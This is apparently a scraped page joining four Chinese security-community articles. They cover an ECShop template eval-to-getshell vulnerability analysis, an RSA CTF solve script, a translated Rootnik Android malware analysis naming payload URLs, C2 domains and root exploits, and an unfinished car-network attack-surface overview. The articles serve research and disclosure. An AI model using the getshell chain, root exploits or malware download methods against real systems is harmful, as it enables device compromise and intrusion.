[134]=>
string(12) "cls_template"
[135]=>
string(11) "certificate"
[136]=>
string(6) "oauth2"
[137]=>
string(15) "oauth2_response"
[138]=>
string(14) "oauth2_request"
[139]=>
string(9) "transport"
[140]=>
string(6) "matrix"
[141]=>
string(16) "leancloud_client"
从代码中也可以看到在文件头引入了多个库文件
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');
这里我们主要关注init.php，因为在这个文件中声明了ecshop的大部分通用类。
在逐个看这里面的类变量时，我们可以敏锐的看到一个特殊的变量，由于ecshop的后台结构特殊，页面内容大多都是由模板编译而成，而这个模板类恰好也在init.php中声明
require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;
回到order.php中我们寻找与$smarty相关的方法，不难发现，主要集中在两个方法中
...
$smarty->assign('shipping', $shipping);
$smarty->display('print.htm');
...
而这里我们主要把视角集中在display方法上。
粗略的浏览下display方法的逻辑大致是
请求相应的模板文件
-->
经过一系列判断，将相应的模板文件做相应的编译
-->
输出编译后的文件地址
输出编译后的文件地址
比较重要的代码会在make_compiled这个函数中被定义
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
...
if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}
$source = $this->_eval($source);
}
return $source;
}
当流程走到这一步的时候，我们需要先找到我们的目标是什么？
重新审视cls_template.php的代码，我们可以发现涉及到代码执行的只有几个函数。
function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
{
$pa = $this->str_trim($val);
foreach ($pa AS $value)
{
if (strrpos($value, '='))
{
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
if ($b{0} == '$')
{
if ($type)
{
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
}
else
{
$para[$a] = $this->get_val(substr($b, 1));
}
}
else
{
$para[$a] = $b;
}
}
}
return $para;
}
get_para只在select中调用，但是没找到能触发select的地方。
然后是pop_vars
function pop_vars()
{
$key = array_pop($this->_temp_key);
$val = array_pop($this->_temp_val);
if (!empty($key))
{
eval($key);
}
}
恰好配合GMP我们可以控制$this->_temp_key变量，所以我们只要能在上面的流程中找到任意地方调用这个方法，我们就可以配合变量覆盖构造一个代码执行。
在回看刚才的代码流程时，我们从编译后的PHP文件中找到了这样的代码
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
在遍历完表单之后，正好会触发pop_vars。
这样一来，只要我们控制覆盖cls_template变量的_temp_key属性，我们就可以完成一次getshell
### 最终利用效果
## Timeline
2020.03.31 发现漏洞。
2020.03.31 将漏洞报送厂商、CVE、CNVD等。
2020.07.08 符合90天漏洞披露期，公开细节。 | 社区文章 |
打比赛的时候这题做的人还是蛮多的，但是没人分享wp(是没必要吗QAQ)
然后也没找到pwn-impossible的wp（希望大佬有的哪怕是脚本给了链接）
题目是个简单的RSA，n不可分解
但是题目给了k=(p-r)*d，r，有了这些信息可以构造以下等式：
先计算c，再计算c2和mul，通过最后一个公式解出p
就能分解n了，后面就是通过RSA解密
利用脚本：
import libnum
r = 663111019425944540514080507309
n = 764789710135699120066739558828098633577013306253421553430847195908034244362783426399681889172711929793563731863384139872322402736681090085666598621114324939409408964563306677742741428195863966989898498906831204752157005288028055139678360291316075877219030667685558110323821117721956754066208709423674599070852863328081495564626811408881020379619280834606394873439653313479059367387482717449792132890040814302415880441497255508283415162957128101398055871020323457216741679183472993371932538507867941404875130906965322325847739960927163953539809036794727803609900302282116111729856921452995125114084009947877974251520302979592670067613546606144401980991349553446645445805493512099309153534117016242573188431650384053169169037929526267038289233193459168030309932136331042640250813278140485915435024593329769782476261202489190771392735516338128092461124553594475652005536021219004598007475896848018535883345275525698202912140165492830229318458220859621536946916060728450732293426918231002157025978449298255884607961112874423611768107044113994666509578842156149561812558917421973274685922015605898024562717582262195308188734233843441532414373538708641762976079302448555298697105806160447760545580129674268456624678445339254341281619657391
e = 65537
k = 11376230879464757138290711299984908778464289005173308608189545435463525777268265977729128994228398091834020517958489408848527244519720030536561582611244172458641332639632981518360153087977263620583037286868169984156081495975325137150308201181821183705406433865681037783672009245951450744893423967519534524564872374719067025656950703655360275719627553370956932353637447232396991057691540662128565377895571740302756624004115592822652032877787683190174651306416910281916239819514603714322474683948222133746696116347630808594215555899448203106168014521796360515931362871133025281314243806320464177354177591228332335003551614106832308993911767231860241219942930903683175017203214440697826698228720134550320203010201162227480574211558033922830875117868895970801183417628548046732735178684031479465866770555097097049039401697156697973726498505003813383696303149763801522877588926847414588086172187481338569607545109010485980789181176815929895776940791230453092924387422291052184177606568352378605741988346025715326590594607822822612290794021218154340474272030636989456754518795702696600378337733961339618639033487933752890208434609460829539754273357617487166483257224739734126886305602260084115687043018921964438528469917594211427068125222889990486298031116975211308319185008573568652053973895884503801570264426091699176024805955546836991196229298757508243251307657063191639987383783941231455894746140575040062497070116929901714063774213552073013057990495816268901523247960107878691144148350592800965125699719038873342744331101838577313168280165305316417387319080806526792235761499758367535234473231638455540814177514642349235328627096125963532214440347089295557895745448430528014032156116184317483847359679936198373071447646642313893200567858353913090847963730766120387076016399374559419994285225024354973914324859198201290795827297428960819444555465333396
enc = 519467713751094904598159022987103691511259274774209441519584888564069062035542644790087060987328959901741258501300093004420044123445481880407931231251958038012202388431636518139006455080522439415387864531982679321682285383734096803256001152937208459295510574757774947236169715202686520555856020855830320306057953008472084296427565355650566174395167777311640285184545830854189876412541067203365997646606165015569235777861406389883205463918051602307946299751610157571027193186245476691847563482840661345021243975217146282342518010810920020230971527413391779187267622754114008860968975577345904021780725192599110737273118516636021100280200540920405328862817744421031962393190088934140614567426323356145174745440656955066066262578429403793555647695057101961696889758526647133883002687772114221068613633288847933578978346227331298499828986369407775151906995962535008597673126821214853383052870910694479916045213576126805625271271078396132288268874265020044328933205952291855156951015240630266575353489117982749485099045184565551566699809425298560358547342684827513213367310680503970306410329482201797661612173789624356845997386309143966652007299888088648017505165599209010954534155765247032891935634559101027944693354146550957638840559533
test = 2
c2 = pow(test,k,n)
p_r_2 = pow(c2,e,n)
p_2 = (p_r_2 * pow(2,r,n))%n
print "s",libnum.gcd(p_2-2,n)
p = 25233253064025100295966044052992868651938757778235029740694086450740828964691968674994071654829407172084083330304218665388707889483935025393638935796458441829579111388362183914601466603012883968555390471153658271704645977909167356234620058847623269493111862656840583922807175571153228497561028994386680340986318100478704339678545401090772005737788274181016454318516504947113820053552393041765934667917060235212098698051049858348928033874024892794089428585610818354044852752852998574190973928571443129679374029773971365640609772832657150305906058725561195072972174548678101728467681896498524652558185028323124451894337
q = n/p
assert n%p == 0
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)
m = pow(enc,d,n)
print libnum.n2s(m) | 社区文章 |
# 【木马分析】使用高级反调试与反HOOK的安卓恶意ROOT软件的深度分析（二）：JAVA层分析
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **shinpachi8**](http://bobao.360.cn/member/contribute?uid=2812295712)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
在这篇博客的[第一部分](http://bobao.360.cn/learning/detail/3463.html)，我们完成了Native层的分析，并获得了解密的辅助dex文件。
在这一部分我们继续分析它。为了保持连续性，我们将保持第一部分的章节和图片下标。
**辅助的dex文件**
下边的是一解密出的文件，是一个jar文件。 它通过MultiDex机制来动态加载为第二个DEX文件
图25 解密的包含DEX文件的APK文件
在解压"decrypt.dump"文件之后，你可以在文件夹内看到一个名为"class.dex"的文件。
图26
接下来，我们分析这个DEX文件
图27 反编译DEX文件及它的AndroidManifest.xml文件
从上图中，我们可以看到"class.dex"是名为"file Helpler"的恶意软件的主要逻辑。 下图是 com.sd.clip.activity.
FileManagerActivity类的onCreate
函数
图28 FileManagerActivity类的onCreate函数
图29 initadv函数
图30 Nws类
Nws类的getStart函数是用来启动 com.hg.mer.PG 服务。下边是PG类的定义。
图31 com.hg.mer.PG服务类
当startService函数被调用了之后，紧接着onCreate函数被调用,
然后调用onHandleIntent函数。在上边的图中，我们用红线标明了四个关键代码，接下来我们按顺序分析它们。
**
**
**readDex()**
下图是readDex函数的代码片段。
图32 readDex函数
基于我的分析，Shen类是使用了base64 的类, 所以Sheu.decode("S0suYmlu") 的结果是字符串 "KK.bin"。
下一步，程序在它的资产文件夹就打开KK.bin文件并读取其中的一些有用的信息。
下边是KK.bin的内容
图33 在文件夹中的KK.bin文件
程序可以从KK.bin文件末尾提取出一些内容。有七个使用Base64编码的字符串存储在数组列表中，getAppid函数是用来解码这些字符串。
图34 getAppid函数
解码的七个字符串如下：
Pls.Kbin: wddex.jar
Pls.OI: xdt
Pls.PL: com.svq.cvo.Rtow
Pls.Jr: getDex
Pls.Wv: sgdex
Pls.As: dos.jar
Pls.NQ: KK.bin
**dxfile()**
下边是dxfile的代码片段:
图35 dxfile函数
图36 UnZipFolder函数
Pls.UnZipFolder函数从KK.bin文件中提取加密的内容。其在KK.bin中的位置是从偏移位0X20至偏移位0x1CDB,
然后保存为/data/data/com.web.sdfile/files/wddex.jar 文件。 其内容是使用的DES算法来加密的。
在dxfile函数中，程序将/data/data/com.web.sdfile/files/wddex.jar
解密至文件/data/data/com.web.sdfile/app_sgdex/dos.jar中
**
**
**DexClassLoader()**
它的构造函数如下：
在这个调用中，dexPath的值是"/data/data/com.web.sdfile/app_sgdex/dos.jar",
optimizedDirectory的值是 "/data/data/com.web.sdfile/app_xdt"
这个函数从.jar,.apk文件中加载包含 class.dex入口的类。这个函数是用来执行应用未安装的那一部分的代码。优化的DEX文件被写入
data/data/com.web.sdfile/app_xdt 文件夹下的dos.dex中。
一旦加载完 data/data/com.web.sdfile/app_sgdex/dos.jar 中的类，这个文件就会被删除。
1\. 在com.svq.cvo.Rtow dynamically类中调用getDex()函数
接下来，让我们检查一下dos.dex文件。
图37 反编译dos.dex
下图是com.svq.cvo.Rtow类的getDex函数
图38 com.svq.cvo.Rtow类的getDex函数
图39 Dwol类的构造函数
com.kdw.xoa.Dwol类的构造函数中，一个新文件mda.ico 在文件夹
/data/data/com.web.sdfile/files/中被创建。然后它调用downloadFile函数来从远端服务器http://gt.rogsob.com/stmp/ad.png
下载一个payload 并保存至/data/data/com.web.sdfile/files/mda.ico.
这个payload使用DES加密算法来加密。
图40 downloadFile函数
图41 initData函数
接下来是silentInstall的定义
图42 silentInstall函数
以红线标记的五个部分在下边解释
a. Dwol的dxfile函数是用来对 /data/data/com.web.sdfile/files/mda.ico
这个payload来解密的，解密完的payload保存在 /data/data/com.web.sdfile/app_snex/dkt.jar
b. Ngss类的upZipFile函数将解密的payload 即 dkt.jar解压至/data/data/com.web.sdfile/files/
文件夹内。它包括以下几个文件
图43 payload文件
c. 在解压完之后，它删除了文件/data/data/com.web.sdfile/app_snex/dkt.jar和
/data/data/com.web.sdfile/files/mda.ico ,并将目录
/data/data/com.web.sdfile/app_snex/也删除了。
d. 在文件夹/data/data/com.web.sdfile/files/ 中将class.dex重命名为wsh.jar
e. 在/data/data/com.web.sdfile/files/wsh.jar 中动态加载类，最优的目录app_outdex
存储dex的缓存文件为wsh.dex。
f. 调用com.rootdex.MainActivity类的getDex函数
接下来，我们深入wsh.dex， 它主要是执行root工具来root设备并在系统目录里安装文件。
图44 反编译wsh.dex
下图是com.rootdex.MainActivity类的getDex函数的定义。
图45 com.rootdex.MainActivity类的getDex函数的定义
a. GetActive函数是用来收集用户信息然后传给服务器。服务器的URL是：
http://grs[.]gowdsy[.]com:8092/active.do 下边是流量:
图46 发送收集的信息至服务器的流量
b. 查看在文件夹/data/data/com.web.sdfile/files/
下是否有文件,然后将它们的文件名保存至下一步用来root设备的数组列表中。 c. 在设备中执行root工具。
然后，run函数会调用HandleRoot函数
图47 HandleRoot函数
下边是copyRootFile函数的关键代码
图48 copyRootFile函数
在这个函数中，主要有四步：
1\. FileUtil.dxfile函数用来解密 文件 /data/data/com.web.sdfile/files/png.ico，
然后将它保存成文件/data/data/com.web.sdfile/app_dex/.do 。
2\. FileUtil.UnZipb函数将上一步的 /data/data/com.web.sdfile/app_dex/.do 文件解压至文件夹
/data/data/com.web.sdfile/.rtt,
这个文件夹是一个包含六个ELF可执行文件的隐藏文件夹，如下图所示，它包含四个root利用代码： r1-r4
图49 root利用文件
1\. 程序会删除解密的文件/data/data/com.web.sdfile/app_dex/.do 与文件夹
/data/data/com.web.sdfile/app_dex .
2\. 然后会在文件夹/data/data/com.web.sdfile/files/ 下创建一个文件，名为：psneuter.js。 它的内容如下：
图50 psneuter.js的内容
executeRootAct函数调用了hanleOriMiddle函数。下边是用来通过SHELL命令来执行root的四段代码。
图51 通过SHELL来root
在调查完这些可执行文件后，我发现r3是一个dashi root 工具来的MTK root 机制, 而r4的利用代码是由开源工程[android-rooting-tool](https://github.com/android-rooting-tools/android_run_root_shell)的一个[CVE-2013-6282](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6282)利用代码来的。而r2是一个用来root Samsung Exynos的
[CVE-2012-6422](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6422)
函数hanleOriMiddle通过命令行来执行root脚本和其他的一些命令。 所有执行的shell命令如下：
图52 root命令时执行的所有shell
在成功获得root权限后， psneuter.js脚本 会以超级用户权限来执行。这个脚本的作用是用来在/system/priv-app/
目录下安全root权限的应用。
接下来，我们会探讨这两个APK应用。 为了防止被用户发现，这两个应用在安装之后并没有图标。
另外，名为rsh的脚本也会通过shell命令来执行。
图53 rsh 脚本通过命令执行。
不同的是，rsh 基于Build.MANUFACTURER属性。 它如下所示：
图54 rsh脚本（1）
图54-1 rsh脚本(2)
**BSetting.apk是怎样工作滴**
如图50所示， abc.apk被放在了 /system/priv-app/ 文件夹下且重命名为 BSetting.apk, 同时通过pm安装 。
BSetting.apk作为一个远程控制服务器的客户端, 它从远程服务器收取并执行任务。
这个APP在后台运行并且没有运行图标， 下边图示为它的信息：
图55 BSetting.apk的信息
这个APP将它自己伪装为一个Android同步服务，它的反编译如下图：
图56 BSetting.apk的反编译信息
图57 BSetting.apk的AndroidManifest.xml文件
广播接收类的com.sfy.oyr.R 是整个APP的主要逻辑。
图58 类R
程度首先解密其资产文件夹下的jif.png文件，它是一个dex文件。然后程序使用Java反射来加载类和调用其中的一些方法。
我们反编译了解密后的dex文件，如下所示:
图59 反编译的class.dex
在ADService类中的launchTancTask函数的用来从远程服务器接收并执行任务。
图60 从远程服务器获得任务
获取任务的流量抓包如下图。其远程服务器有两个域名，其中一个域名是grs[.]gowdsy[.]com,
另外一个备用的域名是grs[.]rogsob[.]com.
http的返回值是格式为xml，包含了任务类型，推送色情广告的URL，下载APK的URL，需要安装apk的类型等等。
图61 从远程服务器获取任务的流量
根据不同的任务类型，程度使用不同的方式来执行任务。 关键的代码片段如下:
图62 依据任务类型来执行任务
远程控制服务器可以执行多种恶意行为，包括但不限于以下几种：
**
**
**卸载应用**
它使用android系统的 "pm uninstall" 来卸载应用。
图63 使用pm unistall 来卸载应用
**
**
**色情推广**
下边是一些色情推广的截图
图64 app推送到设备的色情广告
**在屏幕上创建快捷方式**
快捷方式包括色情广告，热点APP， 热点视频等。下边是程序的代码代码与创建的快捷方式的截图
图65 在屏幕上创建快捷方式的代码段
图66 屏幕的快捷方式
**
**
**应用和广告推送**
除了获得设备的ROOT权限，这个root类的恶意软件的作者还推送APP与广告以获得收入。它的APP与广告的推送相当积极而且相当恼人。
下面是它推送的一些广告的截图:
图67 广告与app推送
**正常的app安装与静默安装**
恶意程序根据不同的任务类型来选择不同app安装方式。下边是一个在安装时有着用户界面的正常的app安装的代码段。
图68 正常安装
这个APP使用android系统的工具 "pm install -r" 来静默安装非系统的软件,同时它APK文件拖进/system/priv-app/
文件夹来安装 系统应用。
图69 静默安装非系统应用
在/data/app/ 文件夹下，我们发现了一些(包含但不限于)已经安装 的应用：
图70 已经被恶意软件安装的应用
图71 安装系统应用的命令
在 /system/priv-app/,我们发现了一些apk文件（包含但不限于）也已经被安装了
图72 安装在/system/priv-app/下的恶意软件
**
**
**推送通知**
恶意软件会推送通知来诱导用户点击来在浏览器中打开URL
下面是推送通知的代码段:
图73 推送通知的代码段
图74 恶意软件推送的通知
**
**
**下载文件**
我们发现有很多文件和文件夹下载在 /sdcard/ 里，
包括apk文件，jar文件，图片，日志等。这些文件是由安装的app生成的，且其中可能会有一些来执行恶意的行为。
图75 下载在 /sdcard/ 中的文件和文件夹
**解决办法**
恶意软件被Fortinet Antivirus检测并标记为 Android/Rootnik.PAC!tr.
与远程C2服务器的通信流量可以由 Fortinet IPS 检测并标记为 Android.Rootnik.Malware.C2.
**总结**
从上面的分析可以看出，rootnik恶意软件很强大，并且使用非常先进的反调试和反HOOK技术来防止逆向，以及对文件和字符串进行不同类型的加密.
除此之外，它还使用multidex机制来动态加载和安装作为恶意软件的主要逻辑的辅助dex文件。它使用一些开源的Android root
利用工具和来自dashi root工具的MTK root方案，以便在在Android设备上获得root权限。
在成功取得设备的root权限后，rootnik恶意软件可能会执行各种恶意软件，包括应用和广告推送，推送色情内容，在主屏幕上创建快捷方式，静默安装应用程序以及推送通知等。
**附录**
**Rootnik Malware Sample**
**Package Name: com.web.sdfile**
SHA256: E5E22B357893BC15A50DC35B702DD5FCDFEAFC6FFEC7DAA0D313C724D72EC854
Additional APK files dropped into system partition by Rootnik malware
**Package Name: com.br.srd**
SHA256: E2BDCFE5796CD377D41F3DA3838865AB062EA7AF9E1E4424B1E34EB084ABEC4A
**Package Name: com.oyws.pdu**
SHA256: CEE6584CD2E01FAB5F075F94AF2A0CE024ED5E4F2D52E3DC39F7655C736A7232
**C &C Server**
gt[.]rogsob[.]com
grs[.]gowdsy[.]com
qj[.]hoyebs[.]com
qj[.]hoyow[.]com
gt[.]yepodjr[.]com | 社区文章 |
# 该如何打下一台智能汽车
## 前言
更多的是对车联网安全认知过程的记录，希望能找到车联网安研需要的一些技能树和研究的大体方向。
最初对车联网安全的认知，大概要从sky-go在MOSEC 20 BaijiuCon里汽车安全talk里的一张汽车安全攻击面导图说起：
首先从我们朴素的车联网认知出发，结合图里认识的关键字，有两个常规思路的攻击路径：
1. 云服务。IoT设备所谓万物互联，除了局域内用CAN或PLC连接的情况，基本都是借助云服务实现，这就把这部分车联网安全问题可以归类为主机安全问题和一些认证相关的问题。
2. 移动终端。也就是图里从Phone到IVI的路径，可能通过WiFi，可能通过蓝牙，可以通过协议、无线电的安全问题考虑，也可以从移动端的安全问题入手。
然后，了解一下图里相对生僻的关键字所代表的进入车内网路径：
1. GNSS，定位模块。
2. ADAS，先进驾驶辅助系统。
3. Sensor，传感器。（图里最右边红色圆柱确实看不清，问了Sky-go的师傅，大概是传感器这方面）
4. V2X，基于蜂窝（Cellular）通信演进形成的车用无线通信技术（Vehicle to Everything），RSU（路侧设备）、OBUs（车载设备）在车联网时代便依此通信。
之后，再从车内网组件视角梳理车联网的一般组件：
1. TCU(Telematics Control Unit) 远程信息控制单元
2. ECUs（Electronic Control Unit）电子控制单元
3. IVI（In-Vehicle Infotainment system）信息娱乐系统
4. OBD-II 第二代随车诊断系统
回看sky-go的talk所分享的攻击链：一个移动终端起步的攻击链。其流程即通过终端发起请求，后端服务下发指令到车联网模块，随后转发至车载网络，最终命令执行：
从渗透的角度想，一次针对系统的攻击，分为内网边界突破和内网横纵向扩散两部分，前者往往是难度的来源。要想完成无接触的攻击链，基本上就云服务和移动终端两条路可走，但对汽车系统的攻击和纯黑盒的渗透并不同，我们能摸到同车型基本一致的ECU和IVI。之前面一个IoT岗，他们实验室对设备挖洞基本上是按技能树分，做内核的找内核洞，做fuzz的去fuzz协议，做逆向的分析固件云云。同理，私以为针对每个车内组件做研究，随着成果蔓延，运气足够，或许也就能形成完整的攻击链。
## 基础知识
### 0x00.总线
总线，是指计算机组件间规范化的交换数据的方式，即以一种通用的方式为各组件提供数据传送和控制逻辑，英文称BUS，顾名思义。
但这里有个让人有点困扰的的点，即协议和总线概念上微妙的差别。比如说我们说PCIE，可能是PCIE接口，有可能是PCIE总线，还有可能是PCIE协议，认知差异客观存在。回归到总线和协议，从狭义上讲，如果不是说物理总线，那么我们默认的总线往往是包含其协议，譬如CAN的WIKI如是：
> **控制器局域网** ( **Controller Area Network** ，简称 **CAN** 或者 **CAN bus** )
> 是一种功能丰富的[车用总线](https://zh.wikipedia.org/w/index.php?title=车用总线&action=edit&redlink=1)标准。被设计用于在不需要[主机](https://zh.wikipedia.org/wiki/网络主机)（Host）的情况下，允许网络上的[单片机](https://zh.wikipedia.org/wiki/单片机)和仪器相互通信。
> 它基于[消息传递协议](https://zh.wikipedia.org/wiki/訊息傳遞_\(軟體))，设计之初在车辆上采用[复用通信](https://zh.wikipedia.org/wiki/多路复用)线缆，以降低铜线使用量，后来也被其他行业所使用。
在车联网视角里，我们的确可以直接把总线视为硬件的互通标准，对其了解并考虑其中可利用的点，即此处安全研究的目标。
#### 控制器局域网CAN
现行的汽车控制系统标准总线便是上文提及的CAN，用于实现嵌入式系统和ECU的通信需求。车联网时代之前，CAN只负责车内数据交换和信息传输，不与外界通信，那个时代想利用CAN进行攻击那得物理接入汽车才能做到；问题就出在车联网之后，
联网组件接入CAN让远程利用成为可能。
好，通晓背景之后，该考虑一下CAN的实际部署形式和容易被收集到的安全问题：
##### CAN的实际部署
CAN运行在两条线路上，CAN高电平（CANH）和CAN低电平（CANL），使用差分信号（低速CAN除外），即当信号输入时，CAN提升一条线的电平，在另一条线降低同幅度的电平。当1位数据被发送到CAN总线上，同时广播升高1V和降低1V的电平信号，传感器和ECU中有一个收发器，确保这两种信号均被触发，如果没有被同时触发，即判定为噪声丢弃。
一般两条双绞线构成总线，在总线终结端，两导线跨接一个120Ω的终结电阻，完成总线要求的在每个末端进行终止的需求。
##### 易收集的安全问题
1、广播数据包，易监听、捕获
CAN总线中报文是通过广播传送方式，所有的节点都可以接受总线传送的消息（如图2），为报文信息监听提供了可能，汽车总线数据容易被捕获分析。
2、传播的消息源不完整不可靠
协议中没有原始地址信息，接收ECU对收到的数据无法确认是否为原始数据，这就容易导致攻击者通过注入虚假信息对CAN总线报文进行伪造、篡改等。
3、总线的脆弱性
CAN总线协议中基于优先级的仲裁机制，为黑客对总线收发报文进行拒绝服务攻击提供可能。攻击者可以通过嗅探或监听等手段对汽车总线进行重放或洪泛攻击，导致ECU无法正常发送和接收报文。
简单来说，CAN和安全策略比较落后的问题基本一致，因为最初只考虑功能和性能问题，安全机制往往不会被考虑到，这种系统从完整性、可用性、保密性、不可抵赖性这些安全几要素上考虑都有收获2333
##### 标准数据包
字段名 | 字长 （位） | 作用
---|---|---
起始位（SOF） | 1 | 表示帧的传输开始
标志符（ID\green） | 11 | 唯一识别码，同样代表了优先级
远程传输请求（RTR\蓝色） | 1 | 数据帧时一定是显性（0），远程请求帧时一定是隐性（1）
标志符拓展位（IDE） | 1 | 对于只有11位标志符的基本帧格式，此段一定為显性（0）
预留位（R0） | 1 | 预留位一定是显性（0），但是隐性（1）同样是可接受的
数据长度代码（DLC） | 4 | 数据的字节数（0-8字节）
数据段（Data field） | 0–64 (0-8 字节) | 待传输数据（长度由数据长度码DLC指定）
循环冗余校验（CRC） | 15 | 循环冗余校验
循环冗余校验定界符 | 1 | 一定是隐性（1）
确认槽（ACK） | 1 | 发信器发送隐性（1）但是任何接收器可以宣示显性（0）
确认定界符（ACK delimiter） | 1 | 一定是隐性（1）
结束位(EOF) | 7 | 一定是隐性（1）
主要关注：
* ID：仲裁ID，识别正试图通信的设备的ID，两个CAN数据包同时在总线上发送，低仲裁ID优先。
* IDE：是否为扩展包
* DLC：数据大小，0-8字节
* Data：数据本身
**扩展包** ：可链接在一起形成更长ID。用SRR代替RTR，IDE置1.
##### CAN-utils工具包
这里要先了解个概念——SocketCAN：我们如果想用CAN和车辆通信，要考虑到各种各样的驱动、软件等等，非常麻烦，所以说需要将多种CAN工具及其不同接口统一成一个通用的接口，目前通用的这个就叫SocketCAN。SocketCAN将CAN驱动作为网络设备实现，通过socket描述程序对CAN总线的访问。
CAN-utils便是SocketCAN方面可说最为得用的工具包，从最基本的抓包、转储、重放、生成到计算芯片组比特率、读对应比特率寄存器值，应有尽有。
详细工具可见其Github repo的[README](https://github.com/linux-can/can-utils)，也包括编译之类的信息。
另外，[socketcand](https://github.com/linux-can/socketcand)和[Kayak](https://dschanoeh.github.io/Kayak/)算是另一类和CAN交互的实现，尤其Kayak实现了可视化，可能对CAN的分析会更加友好些。
#### OBD-II连接器
OBD-II是CAN总线之上的车上诊断系统，是一种设备于车中用以监控车辆运行状态和回报异常的系统，可为车主，维修技术人员以及汽车保险公司提供诊断能力，例如监控汽车的速度和燃油。该诊断端口连接至CAN总线并传递CAN总线消息。作为基于消息的协议，特殊的OBD-II消息被定义为传达诊断信息，称为OBD-II参数ID（PID）。不同于特定车辆制造商定义的高度定制的CAN总线消息，这些OBD-II
PID是标准化的。基于OBD-II标准，开发了许多用于车辆诊断的OBD-II软件狗，例如监视速度，燃油和发动机状态。插入OBD-II端口后，这些加密狗可以不断发送CAN总线消息，以查询来自CAN总线的诊断数据。
通过OBD-II端口很容易和车内CAN总线进行交互。事实上大部分的汽车OBD-II端口也确实充当着一个直接进入车内总线的接口，况且此接口提供12V的直流电源输出，可直接为连接设备提供电源。
从OBD-II的接口和生态我们能分辨出两个攻击面：
1. 可以将其理解为车内网的BADUSB（更近硬件层危害升级功能丰富版）。通过近源渗透，将设备接入汽车的OBD-II接口，用设备发起攻击。
2. 各种各样的已存在OBD-II设备可能导致的攻击，比如其配套应用安全问题可能导致攻击者可以无线访问OBD-II端口。
#### 其他
同时，CAN总线也有一些CAN的扩展协议，其他总线也有更慢更易实现的SAE J1850，还有ISO
14230、LIN、MOST、FlexRay等等总线，不再赘述，实际接触到之后读手册即可。
### 0x01.Hack ECU
这里首先要明确一下ECU指代的对象，Electronic Control
Unit，电子控制单元。一辆车往往有10+电子控制器，有发动机控制单元（Engine Control Unit），有变速器控制单元（Transmission
Control Unit）等等，我们讲Hack ECU，并非仅仅Hack Engine Control
Unit，而是针对电子控制单元这个攻击面，在嵌入式层找洞。
ECU攻击可分三类：
#### 前门（front door）攻击
劫持原始设备制造商（OEM）的访问机制。
OBD-II标准规定车辆可以通过OBD-II连接器进行重编程。所以对原厂编程方式进行逆向工程是一种有保证的攻击方式。其实我们所谓的重编程也就是汽车改装领域的刷ECU，虽说ECU基本上都是大公司调参平衡之后的较优解，但难免有人会不在乎油耗、部件寿命之类的追逐最大动力。看来以后做不了安全还能去刷ECU收智商税（不是
以J2534编程协议为例：
J2534，引入一系列DLL，将标准API映射到汽车通信的必需指令。
使用J2534工具攻击车辆系统，基本思路：观察、记录、分析，而后扩展功能。
实施流程：获取并配置一个J2534应用程序及相应的接口硬件，以执行希望观察的任务。完成设置后，下一步则在使用J2534工具对目标执行操作
观察方式：
1. J2534填隙DLL:一种软件J2534接口，能连接到物理J2534接口并传递和记录所收到的所有命令。
2. 协同使用J2534和嗅探器
#### 后门（back door）攻击
用传统的攻击嵌入式设备的方式去攻击ECU，固件提取解包分析，硬件调试等等。
首先分析电路板，从最大的芯片开始，一一去看SRAM、EEPROM、FlashROM、一次性可编程ROM、串行EEPROM、串行Flash、NVSRAM等。
#### 漏洞利用
发现非预期的访问机制。从Bug方面考虑，可借助Fuzzing和PWN方面的漏洞挖掘等方式。
### 0x02. IVI
IVI (In-Vehicle Infotainment 简称 IVI)，
是采用车载专用中央处理器，基于车身总线系统和互联网服务，形成的车载综合信息娱乐系统。
#### 攻击面
一般拥有一个以上可以用于汽车通信的物理输入（同时也是它的攻击面）：
* 辅助插孔：
* CD-ROM
* DVD
* 触摸屏、旋钮、按键
* USB
* 一个以上的无线输入：
* 蓝牙
* 蜂窝连接
* 数字收音机
* GPS
* Wi-Fi
* XM收音机
* 内部网络控制：
* 总线网络（CAN、LIN、KWP、K线）
* 以太网
* 高速多媒体总线
#### OTA更新
一般流程：
1. 企业推送OTA升级包，车端与OTA云服务器建立安全连接，一般将待更新的固件传输到车辆的 T-box（或者其他联网部件），再传输给 OTA Manager。
2. OTA Manager管理所有 ECU 的升级过程，它负责将固件分发到 ECU，并告知 ECU 何时执行更新。
3. ECU更新完成后，OTA Manager通过 T-box（或者其他联网部件）向云服务器发送确认。
从流程中涉及的事物考虑，首先云服务是最为常见的攻击面，拿下云服务器肯定是攻击的有效途径。
然后车与云服务通信过程中，主要考虑协议、认证相关问题，升级包能否被获取、修改，有无做完整性校验，通信加密是否可靠。
私以为，整个流程的每个环节是否对信息可信和数据安全做校验是关键，和我们日常接触的TCP等流量的数据安全并无本质区别。
#### IVI相关应用
目前IVI好多都直接使用Android作系统，对其进行攻击可考虑Android相关问题。
另外，智能车往往会有配套APP，对APP测试也是常见有效攻击思路。
#### 攻击IVI硬件
基本思路类似于Hack ECU，不过多了些对外连接部分的测试，比如说对蓝牙、Wi-Fi作安全性测试。
### 0x03.车间系统
V2V（Vehicle-To-Vehicle），车间通信技术，用在与基础设施通信时称之为V2I（Vehicle-To-Infrastructure）。具体实现三种方式：
* 蜂窝网络。
